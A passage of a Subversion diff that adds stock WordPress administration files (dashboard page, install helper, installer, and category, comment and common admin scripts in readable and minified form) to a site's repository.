+case 'dashboard_plugins' :
+	wp_dashboard_plugins_output();
+	break;
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/index.php	(revision 44)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Dashboard Administration Panel
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once('admin.php');
+
+/** Load WordPress dashboard API */
+require_once(ABSPATH . 'wp-admin/includes/dashboard.php');
+
+wp_dashboard_setup();
+
+wp_enqueue_script( 'dashboard' );
+wp_enqueue_script( 'plugin-install' );
+wp_enqueue_script( 'media-upload' );
+wp_admin_css( 'dashboard' );
+wp_admin_css( 'plugin-install' );
+add_thickbox();
+
+$title = __('Dashboard');
+$parent_file = 'index.php';
+require_once('admin-header.php');
+
+$today = current_time('mysql', 1);
+?>
+
+<div class="wrap">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<div id="dashboard-widgets-wrap">
+
+<?php wp_dashboard(); ?>
+
+<div class="clear"></div>
+</div><!-- dashboard-widgets-wrap -->
+
+</div><!-- wrap -->
+
+<?php require(ABSPATH . 'wp-admin/admin-footer.php'); ?>
Index: /trunk/www.guidonia.net/wp/wp-admin/install-helper.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/install-helper.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/install-helper.php	(revision 44)
@@ -0,0 +1,225 @@
+<?php
+/**
+ * Plugins may load this file to gain access to special helper functions for
+ * plugin installation. This file is not included by WordPress and it is
+ * recommended, to prevent fatal errors, that this file is included using
+ * require_once().
+ *
+ * These functions are not optimized for speed, but they should only be used
+ * once in a while, so speed shouldn't be a concern. If it is and you are
+ * needing to use these functions a lot, you might experience time outs. If you
+ * do, then it is advised to just write the SQL code yourself.
+ *
+ * You can turn debugging on, by setting $debug to 1 after you include this
+ * file.
+ *
+ * <code>
+ * check_column('wp_links', 'link_description', 'mediumtext');
+ * if (check_column($wpdb->comments, 'comment_author', 'tinytext'))
+ *     echo "ok\n";
+ *
+ * $error_count = 0;
+ * $tablename = $wpdb->links;
+ * // check the column
+ * if (!check_column($wpdb->links, 'link_description', 'varchar(255)')) {
+ *     $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
+ *     $q = $wpdb->query($ddl);
+ * }
+ *
+ * if (check_column($wpdb->links, 'link_description', 'varchar(255)')) {
+ *     $res .= $tablename . ' - ok <br />';
+ * } else {
+ *     $res .= 'There was a problem with ' . $tablename . '<br />';
+ *     ++$error_count;
+ * }
+ * </code>
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ */
+
+/**
+ * @global bool $wp_only_load_config
+ * @name $wp_only_load_config
+ * @var bool
+ * @since unknown
+ */
+$wp_only_load_config = true;
+
+/** Load WordPress Bootstrap */
+require_once(dirname(dirname(__FILE__)).'/wp-load.php');
+
+/**
+ * Turn debugging on or off.
+ * @global bool|int $debug
+ * @name $debug
+ * @var bool|int
+ * @since unknown
+ */
+$debug = 0;
+
+if ( ! function_exists('maybe_create_table') ) :
+/**
+ * Create database table, if it doesn't already exist.
+ *
+ * @since unknown
+ * @package WordPress
+ * @subpackage Plugin
+ * @uses $wpdb
+ *
+ * @param string $table_name Database table name.
+ * @param string $create_ddl Create database table SQL.
+ * @return bool False on error, true if already exists or success.
+ */
+function maybe_create_table($table_name, $create_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) {
+		if ($table == $table_name) {
+			return true;
+		}
+	}
+	//didn't find it try to create it.
+	$wpdb->query($create_ddl);
+	// we cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) {
+		if ($table == $table_name) {
+			return true;
+		}
+	}
+	return false;
+}
+endif;
+
+if ( ! function_exists('maybe_add_column') ) :
+/**
+ * Add column to database table, if column doesn't already exist in table.
+ *
+ * @since unknown
+ * @package WordPress
+ * @subpackage Plugin
+ * @uses $wpdb
+ * @uses $debug
+ *
+ * @param string $table_name Database table name
+ * @param string $column_name Table column name
+ * @param string $create_ddl SQL to add column to table.
+ * @return bool False on failure. True, if already exists or was successful.
+ */
+function maybe_add_column($table_name, $column_name, $create_ddl) {
+	global $wpdb, $debug;
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+		if ($debug) echo("checking $column == $column_name<br />");
+
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+	//didn't find it try to create it.
+	$wpdb->query($create_ddl);
+	// we cannot directly tell that whether this succeeded!
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+		if ($column == $column_name) {
+			return true;
+		}
+	}
+	return false;
+}
+endif;
+
+/**
+ * Drop column from database table, if it exists.
+ *
+ * @since unknown
+ * @package WordPress
+ * @subpackage Plugin
+ * @uses $wpdb
+ *
+ * @param string $table_name Table name
+ * @param string $column_name Column name
+ * @param string $drop_ddl SQL statement to drop column.
+ * @return bool False on failure, true on success or doesn't exist.
+ */
+function maybe_drop_column($table_name, $column_name, $drop_ddl) {
+	global $wpdb;
+	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+		if ($column == $column_name) {
+			//found it try to drop it.
+			$wpdb->query($drop_ddl);
+			// we cannot directly tell that whether this succeeded!
+			foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
+				if ($column == $column_name) {
+					return false;
+				}
+			}
+		}
+	}
+	// else didn't find it
+	return true;
+}
+
+/**
+ * Check column matches criteria.
+ *
+ * Uses the SQL DESC for retrieving the table info for the column. It will help
+ * understand the parameters, if you do more research on what column information
+ * is returned by the SQL statement. Pass in null to skip checking that
+ * criteria.
+ *
+ * Column names returned from DESC table are case sensitive and are listed:
+ *      Field
+ *      Type
+ *      Null
+ *      Key
+ *      Default
+ *      Extra
+ *
+ * @since unknown
+ * @package WordPress
+ * @subpackage Plugin
+ *
+ * @param string $table_name Table name
+ * @param string $col_name Column name
+ * @param string $col_type Column type
+ * @param bool $is_null Optional. Check is null.
+ * @param mixed $key Optional. Key info.
+ * @param mixed $default Optional. Default value.
+ * @param mixed $extra Optional. Extra value.
+ * @return bool True, if matches. False, if not matching.
+ */
+function check_column($table_name, $col_name, $col_type, $is_null = null, $key = null, $default = null, $extra = null) {
+	global $wpdb, $debug;
+	$diffs = 0;
+	$results = $wpdb->get_results("DESC $table_name");
+
+	foreach ($results as $row ) {
+		if ($debug > 1) print_r($row);
+
+		if ($row->Field == $col_name) {
+			// got our column, check the params
+			if ($debug) echo ("checking $row->Type against $col_type\n");
+			if (($col_type != null) && ($row->Type != $col_type)) {
+				++$diffs;
+			}
+			if (($is_null != null) && ($row->Null != $is_null)) {
+				++$diffs;
+			}
+			if (($key != null) && ($row->Key  != $key)) {
+				++$diffs;
+			}
+			if (($default != null) && ($row->Default != $default)) {
+				++$diffs;
+			}
+			if (($extra != null) && ($row->Extra != $extra)) {
+				++$diffs;
+			}
+			if ($diffs > 0) {
+				if ($debug) echo ("diffs = $diffs returning false\n");
+				return false;
+			}
+			return true;
+		} // end if found our column
+	}
+	return false;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/install.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/install.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/install.php	(revision 44)
@@ -0,0 +1,150 @@
+<?php
+/**
+ * WordPress Installer
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * We are installing WordPress.
+ *
+ * @since unknown
+ * @var bool
+ */
+define('WP_INSTALLING', true);
+
+/** Load WordPress Bootstrap */
+require_once(dirname(dirname(__FILE__)) . '/wp-load.php');
+
+/** Load WordPress Administration Upgrade API */
+require_once(dirname(__FILE__) . '/includes/upgrade.php');
+
+if (isset($_GET['step']))
+	$step = $_GET['step'];
+else
+	$step = 0;
+
+/**
+ * Display install header.
+ *
+ * @since unknown
+ * @package WordPress
+ * @subpackage Installer
+ */
+function display_header() {
+header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title><?php _e('WordPress &rsaquo; Installation'); ?></title>
+	<?php wp_admin_css( 'install', true ); ?>
+</head>
+<body>
+<h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
+
+<?php
+}//end function display_header();
+
+function display_setup_form( $error = null ) {
+	if ( ! is_null( $error ) ) {
+?>
+<p><?php printf( __('<strong>ERROR</strong>: %s'), $error); ?></p>
+<?php } ?>
+<form id="setup" method="post" action="install.php?step=2">
+	<table class="form-table">
+		<tr>
+			<th scope="row"><label for="weblog_title"><?php _e('Blog Title'); ?></label></th>
+			<td><input name="weblog_title" type="text" id="weblog_title" size="25" value="<?php echo ( isset($_POST['weblog_title']) ? esc_attr($_POST['weblog_title']) : '' ); ?>" /></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="admin_email"><?php _e('Your E-mail'); ?></label></th>
+			<td><input name="admin_email" type="text" id="admin_email" size="25" value="<?php echo ( isset($_POST['admin_email']) ? esc_attr($_POST['admin_email']) : '' ); ?>" /><br />
+			<?php _e('Double-check your email address before continuing.'); ?>
+		</tr>
+		<tr>
+			<td colspan="2"><label><input type="checkbox" name="blog_public" value="1"<?php if( isset($_POST) && ! empty($_POST) && isset( $_POST['blog_public'] ) ) : ?> checked="checked"<?php endif; ?> /> <?php _e('Allow my blog to appear in search engines like Google and Technorati.'); ?></label></td>
+		</tr>
+	</table>
+	<p class="step"><input type="submit" name="Submit" value="<?php esc_attr_e('Install WordPress'); ?>" class="button" /></p>
+</form>
+<?php
+}
+
+// Let's check to make sure WP isn't already installed.
+if ( is_blog_installed() ) {display_header(); die('<h1>'.__('Already Installed').'</h1><p>'.__('You appear to have already installed WordPress. To reinstall please clear your old database tables first.').'</p></body></html>');}
+
+switch($step) {
+	case 0:
+	case 1: // in case people are directly linking to this
+	  display_header();
+?>
+<h1><?php _e('Welcome'); ?></h1>
+<p><?php printf(__('Welcome to the famous five minute WordPress installation process! You may want to browse the <a href="%s">ReadMe documentation</a> at your leisure.  Otherwise, just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world.'), '../readme.html'); ?></p>
+<!--<h2 class="step"><a href="install.php?step=1"><?php _e('First Step'); ?></a></h2>-->
+
+<h1><?php _e('Information needed'); ?></h1>
+<p><?php _e('Please provide the following information.  Don&#8217;t worry, you can always change these settings later.'); ?></p>
+
+
+
+<?php
+		display_setup_form();
+		break;
+	case 2:
+		if ( !empty($wpdb->error) )
+			wp_die($wpdb->error->get_error_message());
+
+		display_header();
+		// Fill in the data we gathered
+		$weblog_title = isset($_POST['weblog_title']) ? stripslashes($_POST['weblog_title']) : '';
+		$admin_email = isset($_POST['admin_email']) ? stripslashes($_POST['admin_email']) : '';
+		$public = isset($_POST['blog_public']) ? (int) $_POST['blog_public'] : 0;
+		// check e-mail address
+		$error = false;
+		if (empty($admin_email)) {
+			// TODO: poka-yoke
+			display_setup_form( __('you must provide an e-mail address.') );
+			$error = true;
+		} else if (!is_email($admin_email)) {
+			// TODO: poka-yoke
+			display_setup_form( __('that isn&#8217;t a valid e-mail address.  E-mail addresses look like: <code>username@example.com</code>') );
+			$error = true;
+		}
+
+		if ( $error === false ) {
+			$wpdb->show_errors();
+			$result = wp_install($weblog_title, 'admin', $admin_email, $public);
+			extract($result, EXTR_SKIP);
+?>
+
+<h1><?php _e('Success!'); ?></h1>
+
+<p><?php printf(__('WordPress has been installed. Were you expecting more steps? Sorry to disappoint.'), ''); ?></p>
+
+<table class="form-table">
+	<tr>
+		<th><?php _e('Username'); ?></th>
+		<td><code>admin</code></td>
+	</tr>
+	<tr>
+		<th><?php _e('Password'); ?></th>
+		<td><?php if ( !empty( $password ) ) {
+						echo '<code>'. $password .'</code><br />';
+					}
+					echo '<p>'. $password_message .'</p>'; ?></td>
+	</tr>
+</table>
+
+<p class="step"><a href="../wp-login.php" class="button"><?php _e('Log In'); ?></a></p>
+
+<?php
+		}
+		break;
+}
+?>
+<script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-admin/js/cat.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/cat.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/cat.dev.js	(revision 44)
@@ -0,0 +1,5 @@
+jQuery(document).ready( function($) {
+	var myConfirm = function() { return '' !== $('#newcat').val(); };
+	$('#jaxcat').prepend('<span id="ajaxcat"><input type="text" name="newcat" id="newcat" size="16" autocomplete="off"/><input type="button" name="Button" class="add:categorychecklist:jaxcat" id="catadd" value="' + catL10n.add + '"/><input type="hidden"/><input type="hidden"/><span id="howto">' + catL10n.how + '</span></span><span id="cat-ajax-response"></span>');
+	$('#categorychecklist').wpList( { alt: '', response: 'cat-ajax-response', confirm: myConfirm } );
+} );
Index: /trunk/www.guidonia.net/wp/wp-admin/js/cat.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/cat.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/cat.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(b){var a=function(){return""!==b("#newcat").val()};b("#jaxcat").prepend('<span id="ajaxcat"><input type="text" name="newcat" id="newcat" size="16" autocomplete="off"/><input type="button" name="Button" class="add:categorychecklist:jaxcat" id="catadd" value="'+catL10n.add+'"/><input type="hidden"/><input type="hidden"/><span id="howto">'+catL10n.how+'</span></span><span id="cat-ajax-response"></span>');b("#categorychecklist").wpList({alt:"",response:"cat-ajax-response",confirm:a})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/categories.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/categories.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/categories.dev.js	(revision 44)
@@ -0,0 +1,42 @@
+jQuery(document).ready(function($) {
+	var options = false, addAfter, addAfter2, delBefore, delAfter;
+	if ( document.forms['addcat'].category_parent )
+		options = document.forms['addcat'].category_parent.options;
+
+	addAfter = function( r, settings ) {
+		var name, id;
+
+		name = $("<span>" + $('name', r).text() + "</span>").html();
+		id = $('cat', r).attr('id');
+		options[options.length] = new Option(name, id);
+
+		addAfter2( r, settings );
+	}
+
+	addAfter2 = function( x, r ) {
+		var t = $(r.parsed.responses[0].data);
+		if ( t.length == 1 )
+			inlineEditTax.addEvents($(t.id));
+	}
+
+	delAfter = function( r, settings ) {
+		var id = $('cat', r).attr('id'), o;
+		for ( o = 0; o < options.length; o++ )
+			if ( id == options[o].value )
+				options[o] = null;
+	}
+
+	delBefore = function(s) {
+		if ( 'undefined' != showNotice )
+			return showNotice.warn() ? s : false;
+
+		return s;
+	}
+
+	if ( options )
+		$('#the-list').wpList( { addAfter: addAfter, delBefore: delBefore, delAfter: delAfter } );
+	else
+		$('#the-list').wpList({ addAfter: addAfter2, delBefore: delBefore });
+
+	$('.delete a[class^="delete"]').click(function(){return false;});
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/categories.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/categories.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/categories.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(d){var b=false,f,e,c,a;if(document.forms.addcat.category_parent){b=document.forms.addcat.category_parent.options}f=function(i,h){var g,j;g=d("<span>"+d("name",i).text()+"</span>").html();j=d("cat",i).attr("id");b[b.length]=new Option(g,j);e(i,h)};e=function(g,i){var h=d(i.parsed.responses[0].data);if(h.length==1){inlineEditTax.addEvents(d(h.id))}};a=function(h,g){var j=d("cat",h).attr("id"),i;for(i=0;i<b.length;i++){if(j==b[i].value){b[i]=null}}};c=function(g){if("undefined"!=showNotice){return showNotice.warn()?g:false}return g};if(b){d("#the-list").wpList({addAfter:f,delBefore:c,delAfter:a})}else{d("#the-list").wpList({addAfter:e,delBefore:c})}d('.delete a[class^="delete"]').click(function(){return false})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/comment.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/comment.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/comment.dev.js	(revision 44)
@@ -0,0 +1,37 @@
+jQuery(document).ready( function($) {
+
+	var stamp = $('#timestamp').html();
+	$('.edit-timestamp').click(function () {
+		if ($('#timestampdiv').is(":hidden")) {
+			$('#timestampdiv').slideDown("normal");
+			$('.edit-timestamp').hide();
+		}
+		return false;
+	});
+
+	$('.cancel-timestamp').click(function() {
+		$('#timestampdiv').slideUp("normal");
+		$('#mm').val($('#hidden_mm').val());
+		$('#jj').val($('#hidden_jj').val());
+		$('#aa').val($('#hidden_aa').val());
+		$('#hh').val($('#hidden_hh').val());
+		$('#mn').val($('#hidden_mn').val());
+		$('#timestamp').html(stamp);
+		$('.edit-timestamp').show();
+		return false;
+	});
+
+	$('.save-timestamp').click(function () { // crazyhorse - multiple ok cancels
+		$('#timestampdiv').slideUp("normal");
+		$('.edit-timestamp').show();
+		$('#timestamp').html(
+			commentL10n.submittedOn + ' <b>' +
+			$( '#mm option[value=' + $('#mm').val() + ']' ).text() + ' ' +
+			$('#jj').val() + ', ' +
+			$('#aa').val() + ' @ ' +
+			$('#hh').val() + ':' +
+			$('#mn').val() + '</b> '
+		);
+		return false;
+	});
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/comment.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/comment.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/comment.js	(revision 44)
@@ -0,0 +1,1 @@
+jQuery(document).ready(function(b){var a=b("#timestamp").html();b(".edit-timestamp").click(function(){if(b("#timestampdiv").is(":hidden")){b("#timestampdiv").slideDown("normal");b(".edit-timestamp").hide()}return false});b(".cancel-timestamp").click(function(){b("#timestampdiv").slideUp("normal");b("#mm").val(b("#hidden_mm").val());b("#jj").val(b("#hidden_jj").val());b("#aa").val(b("#hidden_aa").val());b("#hh").val(b("#hidden_hh").val());b("#mn").val(b("#hidden_mn").val());b("#timestamp").html(a);b(".edit-timestamp").show();return false});b(".save-timestamp").click(function(){b("#timestampdiv").slideUp("normal");b(".edit-timestamp").show();b("#timestamp").html(commentL10n.submittedOn+" <b>"+b("#mm option[value="+b("#mm").val()+"]").text()+" "+b("#jj").val()+", "+b("#aa").val()+" @ "+b("#hh").val()+":"+b("#mn").val()+"</b> ");return false})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/common.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/common.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/common.dev.js	(revision 44)
@@ -0,0 +1,267 @@
+var showNotice, adminMenu, columns;
+(function($){
+// sidebar admin menu
+adminMenu = {
+
+	init : function() {
+		$('#adminmenu div.wp-menu-toggle').each( function() {
+			if ( $(this).siblings('.wp-submenu').length )
+				$(this).click(function(){ adminMenu.toggle( $(this).siblings('.wp-submenu') ); });
+			else
+				$(this).hide();
+		});
+
+		this.favorites();
+
+		$('a.separator').click(function(){
+			if ( $('body').hasClass('folded') ) {
+				adminMenu.fold(1);
+				deleteUserSetting( 'mfold' );
+			} else {
+				adminMenu.fold();
+				setUserSetting( 'mfold', 'f' );
+			}
+			return false;
+		});
+
+		if ( $('body').hasClass('folded') ) {
+			this.fold();
+		}
+		this.restoreMenuState();
+	},
+
+	restoreMenuState : function() {
+		$('#adminmenu li.wp-has-submenu').each(function(i, e) {
+			var v = getUserSetting( 'm'+i );
+			if ( $(e).hasClass('wp-has-current-submenu') ) return true; // leave the current parent open
+
+			if ( 'o' == v ) $(e).addClass('wp-menu-open');
+			else if ( 'c' == v ) $(e).removeClass('wp-menu-open');
+		});
+	},
+
+	toggle : function(el) {
+
+		el['slideToggle'](150, function(){el.css('display','');}).parent().toggleClass( 'wp-menu-open' );
+
+		$('#adminmenu li.wp-has-submenu').each(function(i, e) {
+			var v = $(e).hasClass('wp-menu-open') ? 'o' : 'c';
+			setUserSetting( 'm'+i, v );
+		});
+
+		return false;
+	},
+
+	fold : function(off) {
+		if (off) {
+			$('body').removeClass('folded');
+			$('#adminmenu li.wp-has-submenu').unbind();
+		} else {
+			$('body').addClass('folded');
+			$('#adminmenu li.wp-has-submenu').hoverIntent({
+				over: function(e){
+					var m, b, h, o, f;
+					m = $(this).find('.wp-submenu');
+					b = m.parent().offset().top + m.height() + 1; // Bottom offset of the menu
+					h = $('#wpwrap').height(); // Height of the entire page
+					o = 60 + b - h;
+					f = $(window).height() + $('body').scrollTop() - 15; // The fold
+					if (f < (b - o)) {
+						o = b - f;
+					}
+					if (o > 1) {
+						m.css({'marginTop':'-'+o+'px'});
+					} else if ( m.css('marginTop') ) {
+						m.css({'marginTop':''});
+					}
+					m.addClass('sub-open');
+				},
+				out: function(){ $(this).find('.wp-submenu').removeClass('sub-open').css({'marginTop':''}); },
+				timeout: 220,
+				sensitivity: 8,
+				interval: 100
+			});
+
+		}
+	},
+
+	favorites : function() {
+		$('#favorite-inside').width($('#favorite-actions').width()-4);
+		$('#favorite-toggle, #favorite-inside').bind( 'mouseenter', function(){$('#favorite-inside').removeClass('slideUp').addClass('slideDown'); setTimeout(function(){if ( $('#favorite-inside').hasClass('slideDown') ) { $('#favorite-inside').slideDown(100); $('#favorite-first').addClass('slide-down'); }}, 200) } );
+
+		$('#favorite-toggle, #favorite-inside').bind( 'mouseleave', function(){$('#favorite-inside').removeClass('slideDown').addClass('slideUp'); setTimeout(function(){if ( $('#favorite-inside').hasClass('slideUp') ) { $('#favorite-inside').slideUp(100, function(){ $('#favorite-first').removeClass('slide-down'); } ); }}, 300) } );
+	}
+};
+
+$(document).ready(function(){adminMenu.init();});
+
+// show/hide/save table columns
+columns = {
+	init : function() {
+		$('.hide-column-tog').click( function() {
+			var column = $(this).val(), show = $(this).attr('checked');
+			if ( show ) {
+				$('.column-' + column).show();
+			} else {
+				$('.column-' + column).hide();
+			}
+			columns.save_manage_columns_state();
+		} );
+	},
+
+	save_manage_columns_state : function() {
+		var hidden = $('.manage-column').filter(':hidden').map(function() { return this.id; }).get().join(',');
+		$.post(ajaxurl, {
+			action: 'hidden-columns',
+			hidden: hidden,
+			screenoptionnonce: $('#screenoptionnonce').val(),
+			page: pagenow
+		});
+	}
+}
+
+$(document).ready(function(){columns.init();});
+
+})(jQuery);
+
+// stub for doing better warnings
+showNotice = {
+	warn : function() {
+		var msg = commonL10n.warnDelete || '';
+		if ( confirm(msg) ) {
+			return true;
+		}
+
+		return false;
+	},
+
+	note : function(text) {
+		alert(text);
+	}
+};
+
+jQuery(document).ready( function($) {
+	var lastClicked = false, checks, first, last, checked;
+
+	// pulse
+	$('.fade').animate( { backgroundColor: '#ffffe0' }, 300).animate( { backgroundColor: '#fffbcc' }, 300).animate( { backgroundColor: '#ffffe0' }, 300).animate( { backgroundColor: '#fffbcc' }, 300);
+
+	// Move .updated and .error alert boxes
+	$('div.wrap h2 ~ div.updated, div.wrap h2 ~ div.error').addClass('below-h2');
+	$('div.updated, div.error').not('.below-h2').insertAfter('div.wrap h2:first');
+
+	// show warnings
+	$('#doaction, #doaction2').click(function(){
+		if ( $('select[name="action"]').val() == 'delete' || $('select[name="action2"]').val() == 'delete' ) {
+			return showNotice.warn();
+		}
+	});
+
+	// screen settings tab
+	$('#show-settings-link').click(function () {
+		if ( ! $('#screen-options-wrap').hasClass('screen-options-open') ) {
+			$('#contextual-help-link-wrap').css('visibility', 'hidden');
+		}
+		$('#screen-options-wrap').slideToggle('fast', function(){
+			if ( $(this).hasClass('screen-options-open') ) {
+				$('#show-settings-link').css({'backgroundImage':'url("images/screen-options-right.gif")'});
+				$('#contextual-help-link-wrap').css('visibility', '');
+				$(this).removeClass('screen-options-open');
+			} else {
+				$('#show-settings-link').css({'backgroundImage':'url("images/screen-options-right-up.gif")'});
+				$(this).addClass('screen-options-open');
+			}
+		});
+		return false;
+	});
+
+	// help tab
+	$('#contextual-help-link').click(function () {
+		if ( ! $('#contextual-help-wrap').hasClass('contextual-help-open') ) {
+			$('#screen-options-link-wrap').css('visibility', 'hidden');
+		}
+		$('#contextual-help-wrap').slideToggle('fast', function(){
+			if ( $(this).hasClass('contextual-help-open') ) {
+				$('#contextual-help-link').css({'backgroundImage':'url("images/screen-options-right.gif")'});
+				$('#screen-options-link-wrap').css('visibility', '');
+				$(this).removeClass('contextual-help-open');
+			} else {
+				$('#contextual-help-link').css({'backgroundImage':'url("images/screen-options-right-up.gif")'});
+				$(this).addClass('contextual-help-open');
+			}
+		});
+		return false;
+	});
+	$('#contextual-help-link-wrap, #screen-options-link-wrap').show();
+
+	// check all checkboxes
+	$( 'table:visible tbody .check-column :checkbox' ).click( function(e) {
+		if ( 'undefined' == e.shiftKey ) { return true; }
+		if ( e.shiftKey ) {
+			if ( !lastClicked ) { return true; }
+			checks = $( lastClicked ).parents( 'form:first' ).find( ':checkbox' );
+			first = checks.index( lastClicked );
+			last = checks.index( this );
+			checked = $(this).attr('checked');
+			if ( 0 < first && 0 < last && first != last ) {
+				checks.slice( first, last ).attr( 'checked', function(){
+					if ( $(this).parents('tr').is(':visible') )
+						return checked ? 'checked' : '';
+
+					return '';
+				});
+			}
+		}
+		lastClicked = this;
+		return true;
+	} );
+	$( 'thead :checkbox, tfoot :checkbox' ).click( function(e) {
+		var c = $(this).attr('checked'), kbtoggle = 'undefined' == typeof toggleWithKeyboard ? false : toggleWithKeyboard, toggle = e.shiftKey || kbtoggle;
+
+
+		$(this).parents( 'form:first' ).find( 'table tbody:visible' ).find( '.check-column :checkbox' ).attr( 'checked', function() {
+			if ( $(this).parents('tr').is(':hidden') )
+				return '';
+			if ( toggle )
+				return $(this).attr( 'checked' ) ? '' : 'checked';
+			else if (c)
+				return 'checked';
+			return '';
+		});
+		$(this).parents( 'form:first' ).find( 'table thead:visible, table tfoot:visible').find( '.check-column :checkbox' ).attr( 'checked', function() {
+			if ( toggle )
+				return '';
+			else if (c)
+				return 'checked';
+			return '';
+		});
+	});
+	$('#default-password-nag-no').click( function() {
+		setUserSetting('default_password_nag', 'hide');
+		$('div.default-password-nag').hide();
+		return false;
+	});
+	
+	
+});
+
+jQuery(document).ready( function($){
+	var turboNag = $('.turbo-nag');
+
+	if ( !turboNag.length || ('undefined' != typeof(google) && google.gears) )
+		return;
+
+	if ( 'undefined' != typeof GearsFactory ) {
+		return;
+	} else {
+		try {
+			if ( ( 'undefined' != typeof window.ActiveXObject && ActiveXObject('Gears.Factory') ) ||
+				( 'undefined' != typeof navigator.mimeTypes && navigator.mimeTypes['application/x-googlegears'] ) ) {
+					return;
+			}
+		} catch(e){}
+	}
+
+	turboNag.show();
+
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/common.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/common.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/common.js	(revision 44)
@@ -0,0 +1,1 @@
+var showNotice,adminMenu,columns;(function(a){adminMenu={init:function(){a("#adminmenu div.wp-menu-toggle").each(function(){if(a(this).siblings(".wp-submenu").length){a(this).click(function(){adminMenu.toggle(a(this).siblings(".wp-submenu"))})}else{a(this).hide()}});this.favorites();a("a.separator").click(function(){if(a("body").hasClass("folded")){adminMenu.fold(1);deleteUserSetting("mfold")}else{adminMenu.fold();setUserSetting("mfold","f")}return false});if(a("body").hasClass("folded")){this.fold()}this.restoreMenuState()},restoreMenuState:function(){a("#adminmenu li.wp-has-submenu").each(function(c,d){var b=getUserSetting("m"+c);if(a(d).hasClass("wp-has-current-submenu")){return true}if("o"==b){a(d).addClass("wp-menu-open")}else{if("c"==b){a(d).removeClass("wp-menu-open")}}})},toggle:function(b){b.slideToggle(150,function(){b.css("display","")}).parent().toggleClass("wp-menu-open");a("#adminmenu li.wp-has-submenu").each(function(d,f){var c=a(f).hasClass("wp-menu-open")?"o":"c";setUserSetting("m"+d,c)});return false},fold:function(b){if(b){a("body").removeClass("folded");a("#adminmenu li.wp-has-submenu").unbind()}else{a("body").addClass("folded");a("#adminmenu li.wp-has-submenu").hoverIntent({over:function(j){var d,c,g,k,i;d=a(this).find(".wp-submenu");c=d.parent().offset().top+d.height()+1;g=a("#wpwrap").height();k=60+c-g;i=a(window).height()+a("body").scrollTop()-15;if(i<(c-k)){k=c-i}if(k>1){d.css({marginTop:"-"+k+"px"})}else{if(d.css("marginTop")){d.css({marginTop:""})}}d.addClass("sub-open")},out:function(){a(this).find(".wp-submenu").removeClass("sub-open").css({marginTop:""})},timeout:220,sensitivity:8,interval:100})}},favorites:function(){a("#favorite-inside").width(a("#favorite-actions").width()-4);a("#favorite-toggle, #favorite-inside").bind("mouseenter",function(){a("#favorite-inside").removeClass("slideUp").addClass("slideDown");setTimeout(function(){if(a("#favorite-inside").hasClass("slideDown")){a("#favorite-inside").slideDown(100);a("#favorite-first").addClass("slide-down")}},200)});a("#favorite-toggle, 